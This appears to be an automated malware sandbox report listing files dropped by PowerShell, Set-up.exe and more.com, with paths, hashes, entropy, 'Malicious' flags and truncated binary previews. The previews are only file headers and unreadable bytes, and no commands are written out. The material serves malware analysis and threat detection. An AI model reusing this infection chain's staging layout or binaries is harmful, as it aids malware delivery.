Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q..b.........." ..0.............".... ........... ....................... ............`.....................................O.................................................................................... ............... ..H............text...(.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........O..@l.......... ...x.............................................{.....{.....{.....{.....{.....{.....{....s...."..(.......0..}.......(....o....r...p......%..{.....F....%..{.....F....%..{.....F....%..{.....F....%..{.....F....%..{.....F....%..{.....F....(........0..k....... .... .... .A.. .... .....g.s.7...< ....s......... .`. .k.. `E.. .....4 .... .....`.~ .... ....s ..........0.......... .... h... .B.. .....u .... .....X.\|.D.,s ........ .. d... .O.. .... .....

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Shell.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	506368
Entropy (8bit):	5.860286757963293
Encrypted:	false
SSDEEP:	6144:0WlRNlm4XXNio6PLu/p/7sUpKAK0suSQ2eyZgE3eCzlE8q/RcIYggqtEIsApY00t:BlI4Xrs6xsJThB+D0+2L
MD5:	F158CE5356179B7F6272E464713E06F0
SHA1:	210506DEA94D0A43B6963426D1C8B26063AEE64A
SHA-256:	7D60AF2C298EB163F6D023FB79A517F0C229A2C823F4C54F521FD62EB69443CA
SHA-512:	C8B2ADE664BB5E88FD647F8715E6DF496E63DDD47C0EA7D01D62118BB6176CFF2804761A975362B0FD63E73CAA8D869540C63916E1B10FF409AC73B8CBF1AB68
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q..b.........." ..0.................. ........... ....................... ............`.................................x...O...................................@................................................ ............... ..H............text...(.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......(................\|..HO...........................................0..)............-..+..%.}.....%.}.....%.}.....}...."..(......~<...}.....r...ps=...}.....rK..ps=...}.....(>.....}.....0..I........(.......\|.....\|....o....--..\|......{.....\|.....\|....(....,..{....(?...&....0..L........{....,C~<.........\|......{.....\|.....\|....(....&.{....(?...&..}......}....2.{....o....2.{....o....2.{....o....2.{....o.....0............o.......(........................:..o.....(@.

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ShellExtensions.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.6004341419856365
Encrypted:	false
SSDEEP:	384:B6vM0U/9jIIVzBLefdFjW9zmdJWSXcDCMKeFr9Hk2rRmXMANfUglVewhzjJA+Nzu:B6E0LiBYFjW9z4YCLerEKWNRzIpeY
MD5:	3E026532EA216A9505DD4AB55446BFB4
SHA1:	8071B7F1DDF72BFD011B22CC43E55DDB9327A588
SHA-256:	B0C145F4C39E7CEF4EF98FE3CF4DB07F02045940DE7FBB0A574261D9763E7D42
SHA-512:	5FF1988A3D2BC77444B82D8CEEFB792AD86C6B8B26B6782325906C92A6D9FF9ECB3FA81EDA95FA5A4C9A92375D06BBE0EA9C4D62EF33145F9FF599524201B5DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q..b.........." ..0..\|............... ........... ....................................`.................................d...O.......D...........................,................................................ ............... ..H............text....{... ...\|.................. ..`.rsrc...D............~..............@..@.reloc..............................@..B........................H........:..8X.............@.............................................{........}......q....o......{....o....6..q....o........0............}.....o.........o........................:.o......}......o....".(.....^.{....-...{.....o....:...(....o....:...(....o....&..Po....&..o......s....z6..u....}....&..{....Q....0..F........u......-.(....(....r...p(....s....z........sP......o.......,..o ....*........2..;.......0..?........u......-.(....(....r'..p(....s....z.(!.

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	98816
Entropy (8bit):	5.891187931002061
Encrypted:	false
SSDEEP:	3072:edLz0N6aw4CuW12pesxnqJcbuxGIS//wzFliIwhi6:aLgN6aw4CuW12pjCquxGw
MD5:	75D40FE3CEC015A79C7C4D7BA97D9D87
SHA1:	FC5554C3A3B00BB2802FD677B9B247C7CF98C59D
SHA-256:	6E00EC555D481C3AAFE487069BC899A110420C654DA293C11937BE776D23E137
SHA-512:	52E598CC1F4C54D049DDBF95978A1FEF9A698DE19F89C4E29252234B7FF3D7F8743794017F9B0E0802EE6407F93F71D67CC5C77FEE00E794B2EAE8A8EEA5F36B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p..b.........." ..0..x.............. ........... ....................................`.....................................O...................................P................................................ ............... ..H............text....w... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B........................H........o..............ht...!..........................................n..1.. ...._ ....` ....`...".........(.....(........(.......*..(.......('...o(....3.('...o)...o..........N(....-.(c...s+...zZ('...o)...o.........N(....-.(b...s+...z.('...o(....3.('...o).....s,...o-..........N(....-.(a...s+...z.0...........(....,.~/....r...pr...po0........Y...%..,.o1.......r1..p~/...o0...(2...(.........r5..p~/...o0.......(3...(4.... ....s5...... ....(....-...o6...*>...(

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Newtonsoft.Json.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	701992
Entropy (8bit):	5.940787194132384
Encrypted:	false
SSDEEP:	12288:U9BzaPm657wqehcZBLX+HK+kPJUQEKx07N0TCBGiBCjC0PDgM5j9FKjc3Q5:U8m657w6ZBLmkitKqBCjC0PDgM5A5
MD5:	081D9558BBB7ADCE142DA153B2D5577A
SHA1:	7D0AD03FBDA1C24F883116B940717E596073AE96
SHA-256:	B624949DF8B0E3A6153FDFB730A7C6F4990B6592EE0D922E1788433D276610F3
SHA-512:	2FDF035661F349206F58EA1FEED8805B7F9517A21F9C113E7301C69DE160F184C774350A12A710046E3FF6BAA37345D319B6F47FD24FBBA4E042D54014BEE511
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... ..............................^....`.....................................O.......................(..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........{...,..................d.........................................(......(....^.(...........%...}....:.(......}....:.(......}......(....:.(......}......{......(......(....:.(......}......{.....(.............}.....(......{.....X.....}......0...........-.~.....~....X....b...aX...X...X.+....b...aX...X...2.....cY.....cY....cY...{...._..{........+,..{^....3...{]......(....,...{].....{_.......-.....0...........-.r...ps....z.o......-.~....*.~....X...+....b..

C:\Users\user\AppData\Local\Temp\file\x64\plugins\System.CodeDom.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28264
Entropy (8bit):	6.087998603985687
Encrypted:	false
SSDEEP:	384:DdgrnDxt3942O1NEIY3lzZIcKBxehzsCtZ7U6r1fDXJx/WpuWa/uPHRN7u7c+luh:JgXxtu5jEIYDhzZpmeMu7cH
MD5:	2A42F86AF609DAC74FE6C898CCF958E0
SHA1:	88C8065034EE0E4B9F6A3935FD32E541EFF39EBC
SHA-256:	9DBCE659A0EF6FD19709FE1D5B2A78BE451DAF28000274FCBC1CBE080CE71365
SHA-512:	CD4E71E91569B0A47BC5F5142B103048960929C5BB29D7C9412E4B5331377D44468E6A07AF8B2B766D47AC04A2EB65965E722FBA067370A1456F1686DAE662AE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dP'..........." ..0..>..........\... ...`....... ....................................`..................................[..O....`...............J..h$...........[..T............................................ ............... ..H............text...0<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............H..............@..B.................\......H........#...)...........L.......Z.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(....*.(....,"r...p......%...%...%...%..

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Aero.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	6.021536409916639
Encrypted:	false
SSDEEP:	1536:XrAGJ/yox7dMEmjVWm+NdXYoAv/yCJ5DEZthvlQiQaNtPTATK5wsx8NTNf8McZOp:XrJ/yox7dMEmjVWm+NdXYoAv/yCJdEZm
MD5:	BD16D90426A48DD5A395273426591BBE
SHA1:	674796374220BA2E4D08FC7FAA8B5719A47B27E8
SHA-256:	58ADC9888E700DCFC8AC093E94275FD116D8EB555F3884FF5AE27BE831840A8D
SHA-512:	CF58AFB57C7A8D6A297B641923DAD05C1463482424B1AD4EE56FE04F5B808A8F487F1578758ECA585470A2A53963D145A112DB1A0AF74E5B2B5B30CB2311E77F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0..J...........h... ........... ....................................@.................................0h..O....................................f............................................... ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B................dh......H....... '...............=...(..xf.......................................0...............(....r...ps..............(....r...ps..............(....r-..ps..............(....rC..ps..............(....rY..ps..............(....ro..ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r...ps..............(....r'..ps..............(....r?..ps..............(....rW..ps.....

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.Metro.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	79360
Entropy (8bit):	5.588053893335174
Encrypted:	false
SSDEEP:	1536:mfOWMmHNz9vFHPjJo0bskMN+AQo+V+kk5yCYy:mGHmHNz9vFHPjy0bMN+AQo+Q3
MD5:	5BE804C183E7D1FF0B4D2803A5AA92A0
SHA1:	2376454760106602E256A2E06B78938C0095DD2D
SHA-256:	D1B091E961E06BBC6E8B593528C39D5B1F65727D24C793551AD604AF681EDAB4
SHA-512:	658993CA9EE8D61263DD3D076C16BC21454897369391E37FEBAFE1AF731177FF1F304C0619B456F90F7B4E8DE3A7F4B9813428CB6275F32A8C8C796EBB7D737D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0..,...........J... ...`....... ...................................@..................................J..O....`..............................pI............................................... ............... ..H............text....+... ...,.................. ..`.rsrc........`......................@..@.reloc...............4..............@..B.................J......H........ ..............@+.......H.......................................0..........r...p.rE..p.rI..p(.....s......(.......BSJB............v4.0.30319......l.......#~..(.......#Strings........x...#US.h.......#GUID...x...D...#Blob...........W..........3..................................................................1.....1...,...........m.................:.....S.....@.....n.H...j.......................T...................H...&.......H.....H.....H.......................M.....

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.VS2010.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	84480
Entropy (8bit):	5.663314258846578
Encrypted:	false
SSDEEP:	1536:eTXsmzcesTEWSRnqS++gGeqGSPjJo0bs1fjRwKD37niMogEw3o5EZwXk+H+DOhlN:eTsmzcesTEWSRnqS++gGeqGSPjy0bgfG
MD5:	DF68DEDF948BAEC46CEB5A2EBAFF17A6
SHA1:	44A97CC84F6AEE286C6A40883F9B4ED73A5067C3
SHA-256:	915D3668575E5C0A92272DE344869E1248EE4E474E470CE93B72D56054824AAD
SHA-512:	EFFE10C372872424F3F491ACFD20903A5628077AB818073D243620422274AAFB0E2DEDDBFDDE922F50D30FF82AD65CF5E1A3342787A7D18DAE23DFBA02994D1C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0..@..........._... ...`....... ....................................@..................................^..O....`.. ...........................\|]............................................... ............... ..H............text....?... ...@.................. ..`.rsrc... ....`.......B..............@..@.reloc...............H..............@..B.................^......H........ ..............D+...1...\.......................................0..........r...p.rG..p.rK..p(.....s......(.......BSJB............v4.0.30319......l.......#~..(.......#Strings........x...#US.l.......#GUID...\|...D...#Blob...........W..........3......................................................:.........>.4.....4...P.............................^.....w.....d.......m.........+.................x...................m...J.......m.....m...<.m.....$.................M.....

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	449536
Entropy (8bit):	6.085647986396463
Encrypted:	false
SSDEEP:	6144:il27BLEWt24+3osC+JE+JWWJWrJ5xEsmdLtZYqkwUi02WhZdZ6Jr6sAXayP8AYRB:zgA+JE+JWWJWrJtdPlHOzp8XSf
MD5:	D72B43E4303AC396D1A5BF66E335D35B
SHA1:	4358F0815A88FE2A7637A6BAA3F7852F9FB35535
SHA-256:	D109424CA56429D4EF87CAAFE3FF0CCF9D786058D7C8BFA18198DF8D015188BB
SHA-512:	80EB503CB793C685AC5ED6EF99D8FF082F211FAB25A09A2CF7E86ABB19BD9584BFB7C3157C48CF2EBB1EB8530FBE4100F18267309C0F5188BB54B9D8479615E7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0.................. ........... .......................@.......K....@.................................`...O.......4.................... ......(................................................ ............... ..H............text........ ...................... ..`.rsrc...4...........................@..@.reloc....... ......................@..B........................H........H..H...........`...H............................................~............~............~............~............~.............0..~.......r...p.....(9...s:...(....r...p.....(9...s:...(....r7..p.....(9...s:...(....rU..p.....(9...s:...(....rq..p.....(9...s:...(.......0..9........s;...(<.....~=...(>...-..(>...-.. .....s?...~=...(u...^.r...p(...+. `...(....^.r...p(...+. 0...(....^.r...p(...+. ...(....^.r...p(...+. ...(....b.r...p(...+..(....(......

C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.Toolkit.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1208320
Entropy (8bit):	6.287331497505302
Encrypted:	false
SSDEEP:	24576:DOzvCle3R8tuE8MKl1cnz68zUv0bylvHlvWyGfV8Z8IxPjUhax6G6Z4:DOzKQ8tuE8MKl1cnz6wUvnlvHlvCmFxj
MD5:	4F2F10F7E9D5B0E3508C2ED17A9C1AAC
SHA1:	6D125EC4225CFF293FCF9FB2F112BFAD1361DF4A
SHA-256:	2F0FC32CB1032481B81BAB16507755BC5AF0296FD4A16A7A89D6A475AED4BF0F
SHA-512:	E51B4C46620CFB5766CB9718D484A111F287082D4828D02AA9C5BE8131B5319CD3E8BC370DBA386A7DD4C6E8A7FA11C4324FEC0BF8EAA36F8D2D4CC0A81C0DA8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....B.b.........." ..0..f..........b.... ........... ....................................@.....................................O................................................................................... ............... ..H............text...Pd... ...f.................. ..`.rsrc................h..............@..@.reloc...............n..............@..B................D.......H.......d...............`.......X.......................................>. 4......(R...2......oS...:........oT....0..,........oU...r...p $...........%...%....oV...t....&...oW.....(X.....(Y...&...sZ...z&...s[...z&...s\...z..(]...F.~....(^........J.~..........(_...F.~....(^....O...J.~......O...(_......0...........(....-...(`...*.oa.....3.(b...,.(b....3...(....oc....oa.....3.(b...,.(b....3...(....oc....oa........oa.....3.(b...,.(b....3...(....oc....oa........oa.....3

C:\Users\user\AppData\Local\Temp\file\x64\plugins\starksoft.aspen.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	5.440444229454897
Encrypted:	false
SSDEEP:	3072:LnBdnHSuAHQsvqRTGKnJd+vTH2iFclz8oNO2sYDAoOKuDvLgueON2a1SccMLmy:bSuAHQsvqRCKnJd+9FS8AI
MD5:	CC325C92EF456967301B3F74FCBCF244
SHA1:	6BCD8F0A25AAAFA950764E4F984B12A5CF33E53E
SHA-256:	FBC140B496E9B80341F8CF78352C9783E29373F12F9492A87B442C913532EF3A
SHA-512:	4B15DBED4909374CD8CDCA44F5C43AA8B1BA33D2373A1A6E6FFF40BCBE9CD8D6083EEB4BDB1870D4BD5BC140FBE29403FE3DB9DB0F02341A5BD5BDFA2AD31E72
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Y^.........." ..0...... ......J.... ........... ....................................`.....................................O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pgrt1.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	24154364
Entropy (8bit):	7.99909212561827
Encrypted:	true
SSDEEP:	393216:nZrsui+tOwZjagHjMw/PLixFGmw06hc3m1LOhnmBII6ftw0CNt8R3QULx2FyNx:ZTeuvXLiLGnnLO2hiw0CVFCx
MD5:	DDCFCD9B586F9CBDF6FA160C48C52B30
SHA1:	649B91D756FEBEF194E9172E7C96CFCA5613D09B
SHA-256:	8EF69B1FB9FB7A565EA2A1B8873BC5B4851F644F978FC54E1CC49D05FF4250DA
SHA-512:	87FF6B3783099A1C6742F7F5E3B9C29453E668252A6DBD5B11E1A8A14924115B6EBD4172AFFFEC03BCADD942AA27D22DE23C42947CDE2B36ED61CF5618FA5D65
Malicious:	false
Preview:	PK.........[&Y.(.ca..........ffjq..E......5$..@.........?.A.I.C.C....`..#......\.T:......h.t...iW..'K.:.&.....G.2...A..\|..wi8.K..D/h.@.T.....@..3d....n...0hg...p...[.v\.C.....e.....X.j...i.C:b.....f.I...tr.9..wtCT9..$.n.... ..a.7.GY....X7#...G.xb.Nju.Z...j.t#.1~Nu..`....c1..,......1.....j...]W...z.d.6\|P.3../+3R...`F..<.m...]./.....K..G....{@...f..{=...\...o.=...6....`.1..,.Tl.{y. h.+...{{U..E..g..m .+...`,.R...b&.=......6.R.q..w.....0.\.u...)..e.....QA..2.m.E...D.'..g.b..o....'.~...\]IYN^.b....=......5.p.y.6.i=e..\|.....l.....%.b..}..[.1wG......7.n,+..\qt....5.....7...o..Lp8...;A.....Ok.}.eJ.^.8zx.>...'.4/i.P....q'.Z....}....W_...L.:'4".R..`...Sg.......3.V.\|...>.."...Z.5..H..n...4.p...........^....IAwRnr.....i....%.J..\|....D....h...B.........~.+..6...O..X=........\|.O..b....w..2....r.h...j.(...'6[..p...0.p.U..y.=^..4.)......x\..c.....lp.5s..K..F,si.;sp.v...48.7.....N[._.A..j.......c\|...^......:.n.\.....t.."`[......L..(

C:\Users\user\AppData\Local\Temp\ucqqdtssbrva

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	405504
Entropy (8bit):	6.665896827650533
Encrypted:	false
SSDEEP:	6144:kKfVIRGhXun/DffLdNlhCU69JYMZ7aN2gmYvEdL1xl6hCq5WlBD/dmULA7JGHI:kxGhXunrfh8AAs/sdLX3+WlBIUU7Yo
MD5:	A182C27B5FD115D395E945EE3A1182BD
SHA1:	219C8442789F2EDFD3E45298E0ADC8727C430113
SHA-256:	991BB228C6D5A367A47BE5F168AD470B394D87A81D754155EF3A4FE731381AD0
SHA-512:	5CD1A439C6D1BF35FAB38A59602950F62984834F9C123C86341DBD8BDE4FFAC2E58A0D4D9C986B87701068D987C6EA4D4B863218287EF847D93BCF5A291922F6
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...&..Q..........................................@.......................................@.................................q...x...............................hA...................................................................................text...a........................... ..`.rdata...(.......*..................@..@.data...t.... ...V..................@....reloc..hA.......B...^..............@..Bdxwq.........`......................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CHM\QEYDQTRXQS\StrCmp.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	48896
Entropy (8bit):	5.121181282636362
Encrypted:	false
SSDEEP:	384:UIJpPkn2VDVdOQe7vB4LN9tntl4crAlRcDuy1Tyk6K/uLvVWuFRNV1VF0hXHMGBJ:UQ35YtUIbERx/6jjVTbV1VaXLkjW
MD5:	916D7425A559AAA77F640710A65F9182
SHA1:	23D25052AEF9BA71DDEEF7CFA86EE43D5BA1EA13
SHA-256:	118DE01FB498E81EAB4ADE980A621AF43B52265A9FCBAE5DEDC492CDF8889F35
SHA-512:	D0C260A0347441B4E263DA52FEB43412DF217C207EBA594D59C10EE36E47E1A098B82CE633851C16096B22F4A4A6F8282BDD23D149E337439FE63A77EC7343BC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........K...........6......5.....t5.....Rich.*..................PE..L......U.................P...0...............`....@.........................................................................4L..(....p..\................/..................................................0... ....... ............................text....A.......P.................. ..`.data...,....`.......`..............@....rsrc...\....p... ...p..............@..@l.[J............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CHM\WebUI.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7994880
Entropy (8bit):	6.703467388978353
Encrypted:	false
SSDEEP:	196608:L39zxBBmYeZ12U8Blc/OwDlcXus9Y0SJsv6tWKFdu9CZ:Jzx6YeZ12TBlc/OwDlikJsv6tWKFdu9C
MD5:	A29A218642F0024D9061DF45EA1BAE07
SHA1:	3A97711C99DAD00AE86BE55EDAB74912F9BE55AD
SHA-256:	74DC92EFC8279B770319549E818BBB5DF711121E7EB9C7A0D54B4FF74D08D037
SHA-512:	B55235CA3CAF48A29A4CC1743BB8AA580EF8248B3999BE29FC82097C22A68CED12F813BEF6BE46765651B478616DA1D4704D36A4581A04B40CC048E220647390
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............uF.uF.uFs..F.uF...F..uF.c.F.uF.c.F.uF.tF..uF...F..uF...F.uF...F.uF...F.uF...F.uF...F.uFRich.uF........................PE..L...A..R...........!.....^U..@%.......J......pU...............................z......nz...@..........................vq......Tq.......t.......................t..E...wU..............................gn.@............pU.D............................text...`]U......^U................. ..`.rdata..+....pU......bU.............@..@.data...H.....q..z...lq.............@....unwanted.....t.......s.............@..@.rsrc.........t.......s.............@..@.reloc........t.......s.............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CHM\ffjq

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	45465
Entropy (8bit):	4.746200461594161
Encrypted:	false
SSDEEP:	768:uCJvT9eee7FvH7g0LAltfyP1nBeFV+DFHFjoNk5Bpfm0VQWCS6e9ml91kA7e9Xx5:HheckYIjc+DTQZegext/D
MD5:	55FDC73A2152B6BC79BF4939121EBA2D
SHA1:	837A7C437C6831E64E6469FEC76CC68FBCCDC50D
SHA-256:	2C230D7E8F82A45DED81AF02648744876B6F979854794C0E854F328F09913E30
SHA-512:	FF072B92427F75896D407EE07E223E692B0E8DFF45A8B05C53CFF9CE5B4C32E1BC6D106405E8370951B4CBF72BBC5601792C691AD83310A8D0674CAE2608F27A
Malicious:	false
Preview:	.jLmg...SM.NYi.....f..X.sB.m.mE.^hv..p.^.HP...W...M....V.we......O.PR.G]]]R.\y.....m.a..C.PC..[.Iorv..no..sQ..ai.cRAn.....R.nJMu..S.T..B.oL.nZFrJ]..\.TEON.....V...i.Lc....a.E....hQ......A........PX..]..rRh]yq.._W..C...WOk.......hq.......o.a...lu...qRqldiX.bb.dr.c..G.oP.mo...L....`g..].Oa...lc.N.U....iY..ac.t.DUh.Rko[iA.E..M.m.o.wj.TOdr...RQ...I..l..L.......\.d.qEWH...u_..EkJl....`...v..i.sG.Lj....tt.Xx..m.V.Rk..EY.X_..rSfV[.]v\JK...bNW.......v.bYM.q..iy..Zt].P.yr.....]...P..e....K...`]...n.....aD....y.eA..Le.g..]EL[N......i.On\.bgR.LUn....KTm.Wd.Xs..J.....^..........Bu.b.^..i..]....QT....^..H.qn_Tf....x...`......xb..BDA..en...N...jP..u.K..q.sSaU.J..S..V.s....Eg.........TIkaV..Pvd[S...a.td.wK\.v....Jsd..^.qewEu..t........_e.Y.......^.a...c...s.i.V.]...rGf...EENOH.`ARvfp.IwED.qZ.tA..C..O......Q.T..R.k..U..by.C.Z.Q.R.i..DAn.G.qV..[..B.s..k.D.....v.`pv.X]..Kq..rV.._R.C..J...P.m.jYS.pCK..p...x..eDlGG..MOW.e...].......YC.A.gKu.]^e.......D..r..V.B..S.nm.ZAwW...DD...CxT.h.bK.JB..E.Qx.J._...Ep.

C:\Users\user\AppData\Roaming\CHM\hdyewq

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	912910
Entropy (8bit):	7.907574092085168
Encrypted:	false
SSDEEP:	12288:GXLlXd3UP/mD+fvDp0/Xmvmfc6RE54nM75z0CCDYKh3WnI1JpwWo9gi6UFBkWA:GbJdO++HtAXCmLMdzCMXI1/wH9s0ur
MD5:	4A07A96AE0037AFAB7CDFD09F2CDAAE6
SHA1:	F6E663E59A503073DE110A5E5D056DC497183E28
SHA-256:	BDC0059EF771DC3951E2FA54AB56B3607A539D6C62AAF63934DDADCCA14B3FCE
SHA-512:	20EE6637465120E5A818C931C32994BB2A00B9ECE6702C31B1E59BA2E38DD4232453CDD1A2FFF88A81E21FDA2525C407E5632B3DC7C45BC15AD253CD27ECCF4E
Malicious:	false
Preview:	.Yyhwi`.h.TBe.wI.......Uv.p.L.jr.X.C.wOC...A..xcUB]m..........Ng]hQ....Ytft.r..Gd...Mh...H.j.S.j.....Q..C...a...V..].Q......pr....JHIu.A]nqH.Vd.J....S.a..l.Xxa...b...SP[.....fTdTiB.c.ZrNW.l.Vf....D\qau...Z...I.e..Foq..I...q...^S....N....q.JN..r.f..L..ium.CyJA.Llf.`iRj.A.R..qTk.E.m.ju.`.]wdu.J._.....cu.C.w...Cj.o.pj.joWK`F[.W..Ox.WZ.SPd..R....vR...\ix...d[DM.Jo.jC.]..jVd.]Gm..y....Yw...Q^..Z^.v.iJ.[v.oc...........BDu`E.n.Vp[...iB.c...It..qm.Za.K.rBZ.rX..j[N.t.N..C....au.MUEXXCZgev.L..B.dv.p...t.cC]..^p..VtgD.mM...L..._..dTFLa.apPPP.BP..B..jpF..`.e..ZC.cD.jv.QZ.C^W.iMP..bQ.kx.c....].A.u..by.Xya.r.h...sa.XK]BBx...n....eDH...Y..L.......tBD.v.T.J.e........upI...u.sse..l.W...d.la.^C].e_.Z..R.EXFqB]^O..svg...Mh.dA.......C...PL...t.D..P.[Bn_..Kah.t...l\.H..m.....yE.C^..e.....Mqd..AP.E.YC..s..b.v.AKW.gp...Tl..S.HRC.INlq]N.cLuY.nY.H.q_.JG.UWDoG...L.g..l.UX.Gd....R.t..CSpqN..`Sl.q.liB......UiZav..D.Pk..q...k....kM......Vgh_x..ld..tAmd..eXm.QD..i.I.L....x.^.Gb_TUG..cdq.NW^._plI`l.s.O...P..HS.[.O.U

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.725351938992476
Encrypted:	false
SSDEEP:	96:hjJHCsP80kvhkvCCtEhL3NiHvzL3NxHvZ:hjJPP3EhL6zLLZ
MD5:	D471939930795AB2EE43373C083D6FAA
SHA1:	BB17B51DBC70444D26EB6519783F9572A8372F73
SHA-256:	10F8277763A5FE98127C0A61539080491A894943C2279FFA4F59AA6374DD2461
SHA-512:	6766C9C56F4A06A3094081A8E8E360A082C48994E20CB60447CA5D5CFB70E8043675B34EB37C297BD350F0A283A9218CA5C1F22724757D92DBD0B7238A8196C5
Malicious:	false
